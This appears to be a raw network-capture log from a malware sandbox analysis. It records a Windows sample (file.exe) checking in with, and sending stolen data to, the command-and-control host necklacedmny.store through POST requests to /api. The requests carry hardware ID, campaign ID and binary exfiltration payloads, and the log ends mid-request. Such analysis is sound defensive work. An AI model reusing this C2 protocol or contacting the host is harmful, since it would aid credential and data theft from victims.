2024-10-28 22:47:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-28 22:47:03 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7fs9vk09lh0ffcguqgm2gd0dq6; expires=Fri, 21 Feb 2025 16:33:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zYwUHRBN1e791HRy8tgyrJqUY2BgN1cD40BVpBTdfCLE5CAbUPQhDNqES47wOUFfiPU9rnwNfPygnCYgT1J3CpGBO1Jo7KxB8TkdSyljBGn0Tjc0uUAVTH0LcGnESTSTwqlN8m8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e77232fa2e6f6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1159&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2389438&cwnd=246&unsent_bytes=0&cid=14d0879e39039aa7&ts=534&x=0"
2024-10-28 22:47:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-28 22:47:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-28 22:47:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-28 22:47:04 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6uoi2mtoqlu39uq94tubil7u5; expires=Fri, 21 Feb 2025 16:33:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=35zdOB6ae8GtHoBTHunwgs25hF%2FO%2B4Gm4d8HBPrcJkaw0V%2FwsPE5AqSx91UZXZim52smzz24rOBWbNafRDvmDlpanXWxFDQmF2rSqtEUMvEMuMPfh61HUVdLUzBQSMANZxNW4nA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e77298af8c871-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1523&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1802115&cwnd=154&unsent_bytes=0&cid=ec8e0f4fd39af9c1&ts=468&x=0"
2024-10-28 22:47:04 UTC	356	IN	Data Raw: 31 64 37 66 0d 0a 35 7a 6a 34 59 45 44 41 6d 31 6a 57 37 72 44 2f 35 70 2f 77 64 64 5a 69 4c 4c 5a 5a 51 64 30 39 77 44 74 4a 77 71 48 4c 5a 62 6d 63 47 6f 35 43 65 76 53 33 65 71 57 4c 6b 73 57 53 37 59 55 51 2b 6b 42 4e 30 6e 74 37 75 31 79 73 53 43 7a 75 67 37 30 49 6d 39 31 65 6d 51 77 7a 70 62 64 36 73 35 61 53 78 62 33 6b 30 68 43 34 51 42 61 55 50 43 75 2f 58 4b 78 5a 4b 4b 6e 4f 75 77 6e 61 6a 31 53 66 43 43 57 6a 2f 7a 6d 36 67 39 57 61 67 2f 36 61 47 37 38 50 52 4e 74 37 62 66 39 59 75 68 6c 7a 34 4f 79 75 45 64 69 71 57 59 73 4c 59 72 32 33 49 2f 53 4c 33 74 33 63 76 5a 45 51 74 41 35 4b 30 6a 49 70 74 56 57 6b 57 43 32 6f 30 61 49 44 30 59 39 61 6e 41 6b 76 71 75 73 30 73 49 54 65 6e 49 6e 2b 30 6c 6e 30 42 31 61 55 59 32 50 73 62 61 46 49 4f Data Ascii: 1d7f5zj4YEDAm1jW7rD/5p/wddZiLLZZQd09wDtJwqHLZbmcGo5CevS3eqWLksWS7YUQ+kBN0nt7u1ysSCzug70Im91emQwzpbd6s5aSxb3k0hC4QBaUPCu/XKxZKKnOuwnaj1SfCCWj/zm6g9Wag/6aG78PRNt7bf9Yuhlz4OyuEdiqWYsLYr23I/SL3t3cvZEQtA5K0jIptVWkWC2o0aID0Y9anAkvqus0sITenIn+0ln0B1aUY2PsbaFIO
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 6b 6f 76 49 66 5a 6d 4a 62 32 6d 78 71 35 41 45 50 65 4e 43 43 2f 57 4b 68 54 4a 4b 72 48 70 41 72 64 68 56 72 61 54 47 4b 6c 34 58 72 73 7a 50 47 59 6c 50 71 65 41 66 59 36 44 73 74 31 4f 76 39 59 72 68 6c 7a 34 4d 75 73 42 4e 69 4f 56 5a 6b 4b 4b 62 44 35 4b 4c 4b 42 31 34 2b 43 2b 4a 77 64 74 78 4a 45 32 6a 30 67 74 6c 53 72 58 43 79 6b 67 2b 64 48 33 4a 30 61 77 6b 49 44 72 2f 49 32 76 70 76 53 33 5a 75 7a 69 31 65 7a 44 41 36 4d 65 79 65 2b 57 36 4e 64 4a 61 37 48 70 51 48 56 69 46 57 63 43 43 4b 6c 38 7a 4b 38 6a 64 2b 57 69 2f 32 58 47 72 41 47 51 74 55 2b 59 2f 45 66 70 55 46 72 2b 49 4f 48 41 4e 69 58 47 4b 38 42 4c 4b 7a 2b 4c 50 53 54 6e 49 54 45 2b 70 35 58 37 45 42 41 30 54 51 78 76 6b 32 6e 56 7a 6d 73 78 71 38 4b 32 49 74 61 6e 77 55 76 72 Data Ascii: kovIfZmJb2mxq5AEPeNCC/WKhTJKrHpArdhVraTGKl4XrszPGYlPqeAfY6Dst1Ov9Yrhlz4MusBNiOVZkKKbD5KLKB14+C+JwdtxJE2j0gtlSrXCykg+dH3J0awkIDr/I2vpvS3Zuzi1ezDA6Meye+W6NdJa7HpQHViFWcCCKl8zK8jd+Wi/2XGrAGQtU+Y/EfpUFr+IOHANiXGK8BLKz+LPSTnITE+p5X7EBA0TQxvk2nVzmsxq8K2ItanwUvr
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 54 6e 49 54 45 2b 70 35 58 37 45 42 43 33 54 73 6f 74 56 75 69 58 69 61 6c 77 4b 34 45 31 6f 4a 51 6c 41 55 6d 72 76 41 33 73 6f 7a 56 6d 59 48 76 6c 78 36 34 44 41 36 61 65 79 53 6e 48 2f 6f 5a 42 4b 66 56 71 69 6a 59 6c 46 50 61 48 57 79 37 75 54 32 34 7a 49 72 64 67 2f 69 61 48 4c 49 49 54 73 59 2b 4c 62 52 65 71 46 38 71 72 63 2b 76 42 39 71 46 58 4a 59 43 4a 61 58 72 4b 4c 47 4b 77 4a 66 45 73 39 49 51 72 45 41 57 6c 41 30 7a 71 45 36 30 47 78 36 6a 7a 61 63 41 7a 63 56 46 31 42 74 69 70 66 56 36 37 4d 7a 5a 6e 59 6a 36 6d 68 47 77 43 45 48 62 4d 6a 47 2b 55 36 78 4c 4c 4b 44 4b 70 77 6a 58 6a 46 65 64 44 79 6d 6f 39 44 36 7a 6a 5a 4c 54 78 50 71 4b 56 2b 78 41 65 4d 51 32 4c 35 46 55 72 6c 42 72 76 34 32 77 52 39 79 4a 47 73 4a 43 4a 71 37 78 4d 4c Data Ascii: TnITE+p5X7EBC3TsotVuiXialwK4E1oJQlAUmrvA3sozVmYHvlx64DA6aeySnH/oZBKfVqijYlFPaHWy7uT24zIrdg/iaHLIITsY+LbReqF8qrc+vB9qFXJYCJaXrKLGKwJfEs9IQrEAWlA0zqE60Gx6jzacAzcVF1BtipfV67MzZnYj6mhGwCEHbMjG+U6xLLKDKpwjXjFedDymo9D6zjZLTxPqKV+xAeMQ2L5FUrlBrv42wR9yJGsJCJq7xML
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 67 50 71 57 45 62 74 41 41 4a 51 38 4f 2f 38 48 34 6e 59 4d 6c 59 47 49 50 5a 75 61 46 49 4e 43 4a 61 36 35 59 76 53 41 30 5a 47 4d 38 70 51 65 75 41 70 48 33 7a 63 6f 75 31 4f 72 58 43 32 68 78 71 77 47 33 34 6c 51 6e 41 45 68 72 66 59 31 76 4d 79 63 33 59 50 6c 30 6b 2f 30 4a 56 6e 66 4e 53 58 2f 51 4f 78 41 61 36 66 50 36 56 2b 62 69 56 4f 63 42 43 65 75 2b 44 79 38 69 64 71 5a 68 66 75 55 46 4c 73 45 53 39 55 30 4a 37 4e 52 71 46 67 71 72 4d 69 6d 44 4e 37 46 46 4e 6f 46 4f 75 4b 68 65 6f 57 50 78 49 71 55 38 64 49 49 2b 68 6b 4f 30 7a 64 6a 35 78 2b 6a 53 79 47 71 7a 61 77 49 33 6f 5a 56 6e 51 38 6b 72 76 4d 7a 76 49 72 64 6c 4a 62 2b 6e 68 6d 7a 44 6b 4c 61 4e 69 6d 38 55 75 49 58 61 36 66 62 36 56 2b 62 71 56 32 58 4c 43 6d 75 2f 6e 71 72 77 73 76 Data Ascii: gPqWEbtAAJQ8O/8H4nYMlYGIPZuaFINCJa65YvSA0ZGM8pQeuApH3zcou1OrXC2hxqwG34lQnAEhrfY1vMyc3YPl0k/0JVnfNSX/QOxAa6fP6V+biVOcBCeu+Dy8idqZhfuUFLsES9U0J7NRqFgqrMimDN7FFNoFOuKheoWPxIqU8dII+hkO0zdj5x+jSyGqzawI3oZVnQ8krvMzvIrdlJb+nhmzDkLaNim8UuIXa6fb6V+bqV2XLCmu/nqrwsv
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 51 2f 30 57 41 37 69 50 44 4f 76 58 4f 42 6f 50 61 50 56 6f 67 72 58 78 55 58 55 47 32 4b 6c 39 58 72 73 7a 4e 53 53 6a 66 36 64 46 72 30 4d 51 39 45 79 4a 72 35 5a 70 6c 4d 68 6f 4d 57 76 42 74 36 50 57 5a 73 49 4b 36 58 78 50 62 65 65 6b 74 50 45 2b 6f 70 58 37 45 42 6e 30 79 6b 74 72 78 2b 39 46 7a 4c 67 78 4b 56 48 67 38 56 65 6b 41 30 6d 70 66 55 38 73 59 72 66 6e 49 76 38 6b 68 69 77 43 30 66 53 4f 69 36 36 55 71 5a 4c 49 61 76 4d 70 51 37 58 69 42 72 55 51 69 57 36 75 57 4c 30 76 64 2b 54 69 76 71 45 56 36 74 4f 56 35 51 38 4c 2f 38 48 34 6c 67 6e 72 38 43 6d 42 4e 69 45 55 49 67 51 4c 71 76 78 50 37 69 48 33 4a 75 57 2b 35 30 65 74 77 4e 48 30 7a 4d 76 74 56 79 6c 47 57 58 67 78 4c 46 48 67 38 56 35 6a 52 49 76 34 75 5a 30 72 63 7a 56 6b 63 53 6c Data Ascii: Q/0WA7iPDOvXOBoPaPVogrXxUXUG2Kl9XrszNSSjf6dFr0MQ9EyJr5ZplMhoMWvBt6PWZsIK6XxPbeektPE+opX7EBn0yktrx+9FzLgxKVHg8VekA0mpfU8sYrfnIv8khiwC0fSOi66UqZLIavMpQ7XiBrUQiW6uWL0vd+TivqEV6tOV5Q8L/8H4lgnr8CmBNiEUIgQLqvxP7iH3JuW+50etwNH0zMvtVylGWXgxLFHg8V5jRIv4uZ0rczVkcSl
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 56 49 32 7a 51 71 74 6c 75 71 57 69 75 6b 78 36 34 43 32 49 6c 52 6e 51 45 74 70 76 41 30 76 59 4f 53 30 38 54 36 69 6c 66 73 51 47 2f 50 4f 43 2b 79 48 37 30 58 4d 75 44 45 70 55 65 44 78 56 61 55 42 79 4b 6f 2f 7a 36 78 69 74 69 59 68 50 61 52 47 4c 41 47 53 74 73 37 4b 4c 5a 65 70 46 77 68 71 38 57 6b 42 4e 32 44 47 74 52 43 4a 62 71 35 59 76 53 73 79 5a 43 49 2b 74 49 49 2b 68 6b 4f 30 7a 64 6a 35 78 2b 70 56 53 2b 6e 77 36 51 45 30 34 42 65 6b 41 63 69 71 75 73 79 74 49 76 41 6a 34 54 30 6c 78 75 33 41 45 72 53 4d 69 57 38 57 2b 49 58 61 36 66 62 36 56 2b 62 71 46 61 64 4b 79 57 35 75 53 58 36 6c 5a 4b 61 69 4c 33 4b 56 37 55 4c 52 4e 73 32 49 4c 6c 63 71 56 77 68 6f 63 53 68 43 73 6d 47 56 5a 55 47 49 71 33 2f 50 4c 57 44 31 4a 71 4e 2f 4a 6f 51 39 Data Ascii: VI2zQqtluqWiukx64C2IlRnQEtpvA0vYOS08T6ilfsQG/POC+yH70XMuDEpUeDxVaUByKo/z6xitiYhPaRGLAGSts7KLZepFwhq8WkBN2DGtRCJbq5YvSsyZCI+tII+hkO0zdj5x+pVS+nw6QE04BekAciqusytIvAj4T0lxu3AErSMiW8W+IXa6fb6V+bqFadKyW5uSX6lZKaiL3KV7ULRNs2ILlcqVwhocShCsmGVZUGIq3/PLWD1JqN/JoQ9
2024-10-28 22:47:04 UTC	358	IN	Data Raw: 63 4e 62 56 59 73 6c 34 38 72 34 50 6e 52 39 54 46 41 71 4e 43 4b 36 58 69 4b 36 4b 42 77 70 72 45 77 74 78 58 72 45 41 57 6c 41 34 67 73 56 47 6c 54 7a 72 74 35 4c 38 4e 33 4a 56 64 6a 51 31 69 37 4c 6b 38 39 4e 53 42 30 38 54 35 67 31 66 73 55 42 79 50 62 6e 44 6f 44 2f 42 47 5a 62 6d 44 76 30 65 44 31 78 54 61 45 47 4c 36 75 58 32 33 6e 73 43 62 68 2b 75 52 55 49 6f 2b 61 63 34 32 4a 61 68 4f 6e 47 63 73 75 73 36 76 45 4d 72 4a 54 35 6b 4d 4c 4b 58 76 65 76 72 4d 33 64 33 63 78 4e 4a 66 39 44 38 41 6c 43 4e 6a 35 78 2b 58 57 69 57 75 78 4c 38 57 6c 71 4a 41 6c 77 51 31 73 37 6c 30 39 49 71 53 78 64 53 7a 30 68 4f 6c 51 42 61 45 61 58 6a 71 44 50 55 4a 65 62 2b 4e 73 45 66 4e 78 51 4c 49 54 47 4b 77 75 57 4c 30 79 39 47 50 6c 76 75 52 41 62 64 48 63 4f Data Ascii: cNbVYsl48r4PnR9TFAqNCK6XiK6KBwprEwtxXrEAWlA4gsVGlTzrt5L8N3JVdjQ1i7Lk89NSB08T5g1fsUByPbnDoD/BGZbmDv0eD1xTaEGL6uX23nsCbh+uRUIo+ac42JahOnGcsus6vEMrJT5kMLKXvevrM3d3cxNJf9D8AlCNj5x+XWiWuxL8WlqJAlwQ1s7l09IqSxdSz0hOlQBaEaXjqDPUJeb+NsEfNxQLITGKwuWL0y9GPlvuRAbdHcO
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 32 36 65 64 0d 0a 4a 79 78 71 49 51 6e 72 69 76 6a 6d 6d 6e 74 53 65 6b 76 37 56 4b 59 6f 44 57 4e 6b 30 4b 4c 35 68 6e 48 63 6d 6f 63 43 6e 52 65 71 54 56 34 6f 42 4a 36 58 48 42 4c 71 4c 78 70 71 4b 2b 35 4a 58 2b 6b 42 42 6c 47 4d 61 2f 78 66 69 5a 6d 58 67 32 2b 6c 66 6d 37 42 5a 6c 41 77 6c 74 4f 68 33 6c 35 72 66 6b 6f 2f 38 30 6c 6e 30 42 67 36 4d 61 32 33 2f 57 37 4d 5a 63 2f 43 52 38 6c 4b 49 30 67 72 49 48 57 79 37 75 53 7a 30 31 49 44 54 78 4f 2f 53 54 2f 52 48 51 4e 6b 36 49 4c 46 63 73 45 73 74 6f 39 57 71 51 4f 57 37 65 35 63 4a 4c 71 2f 32 4d 59 71 79 38 35 43 50 38 5a 38 59 76 7a 35 77 77 54 67 74 73 56 69 30 53 47 76 75 67 36 5a 48 67 37 77 61 30 6b 49 64 37 4c 6b 69 39 4e 53 53 71 49 66 7a 6e 42 43 69 45 51 50 31 4e 69 69 7a 55 71 31 53 Data Ascii: 26edJyxqIQnrivjmmntSekv7VKYoDWNk0KL5hnHcmocCnReqTV4oBJ6XHBLqLxpqK+5JX+kBBlGMa/xfiZmXg2+lfm7BZlAwltOh3l5rfko/80ln0Bg6Ma23/W7MZc/CR8lKI0grIHWy7uSz01IDTxO/ST/RHQNk6ILFcsEsto9WqQOW7e5cJLq/2MYqy85CP8Z8Yvz5wwTgtsVi0SGvug6ZHg7wa0kId7Lki9NSSqIfznBCiEQP1NiizUq1S
2024-10-28 22:47:04 UTC	1369	IN	Data Raw: 73 42 32 4a 4e 5a 33 54 77 63 68 2b 34 35 70 49 72 52 6f 37 72 57 6e 68 47 7a 47 6b 6e 53 48 51 50 2f 45 65 4a 57 61 2f 6a 36 36 55 2b 62 75 68 54 61 47 6d 4c 36 75 51 2b 33 67 74 79 61 6b 75 7a 66 4d 71 4d 44 58 74 49 34 59 2f 45 66 70 42 6c 7a 38 49 33 70 41 38 72 46 41 73 70 51 65 66 65 71 62 65 54 65 7a 64 4f 64 76 59 52 58 37 46 49 41 6c 43 6c 6a 35 78 2f 6c 57 6a 6d 79 78 61 6f 52 32 4d 4a 6b 70 43 51 68 73 2f 4d 62 75 5a 7a 56 6f 37 72 6f 6b 52 6d 36 42 31 6a 46 65 32 33 2f 55 4f 49 42 45 75 43 4c 35 51 48 59 6b 78 71 6c 54 47 4b 36 75 57 4c 30 75 64 47 54 69 76 71 45 42 76 6b 6d 54 63 55 78 41 72 4a 50 70 52 6c 6c 34 4d 58 70 58 34 6a 4c 47 70 34 54 59 76 71 70 61 4f 2f 5a 67 63 72 55 72 34 31 5a 72 55 42 59 6c 47 4e 78 38 52 2b 77 47 58 50 67 68 Data Ascii: sB2JNZ3Twch+45pIrRo7rWnhGzGknSHQP/EeJWa/j66U+buhTaGmL6uQ+3gtyakuzfMqMDXtI4Y/EfpBlz8I3pA8rFAspQefeqbeTezdOdvYRX7FIAlClj5x/lWjmyxaoR2MJkpCQhs/MbuZzVo7rokRm6B1jFe23/UOIBEuCL5QHYkxqlTGK6uWL0udGTivqEBvkmTcUxArJPpRll4MXpX4jLGp4TYvqpaO/ZgcrUr41ZrUBYlGNx8R+wGXPgh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-28 22:47:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"652DA26F4D7D4E8FDC2BDE9EF443DAA9--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 22:47:05 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-28 22:47:05 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bgqgte3moj34ccuqeat2dsjeol; expires=Fri, 21 Feb 2025 16:33:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2h95z7MDPQA1vNVqCl0oeLEaDSyV6OF4cg%2FFbQe9gdHnLN0HXP7P5nTnvGIPvfmwkWQL6gN1BpIWWIrx8bbWiuuGxREBD63yOw82ELXNTCPa9O04wDpeJgrHDkUGP%2BPul2Ob4Lo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e77320d73d1a2-MCI alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=12154&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=237884&cwnd=32&unsent_bytes=0&cid=1a67c7831f3e7ff8&ts=675&x=0"
2024-10-28 22:47:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 22:47:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:06 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-28 22:47:06 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"652DA26F4D7D4E8FDC2BDE9EF443DAA9--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 22:47:07 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cb2bar9u2b6cu472jkj0gpqpf3; expires=Fri, 21 Feb 2025 16:33:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S7WlzK3yVQqBdKAHZv%2Bl%2FfLlGXxH08i2eCXRhgzLWsHDFUtk1q8BFwLSgHkgIHhDfM5QJ2PRJbpW%2FxCTPpouKW4QuK1u447fZTa9EJOgtBJd28p6c2Ymoe83rPiyTW%2BW%2FTAEJQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e773b1db4c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=1787654&cwnd=77&unsent_bytes=0&cid=d32a8bd277a59826&ts=502&x=0"
2024-10-28 22:47:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 22:47:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-28 22:47:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 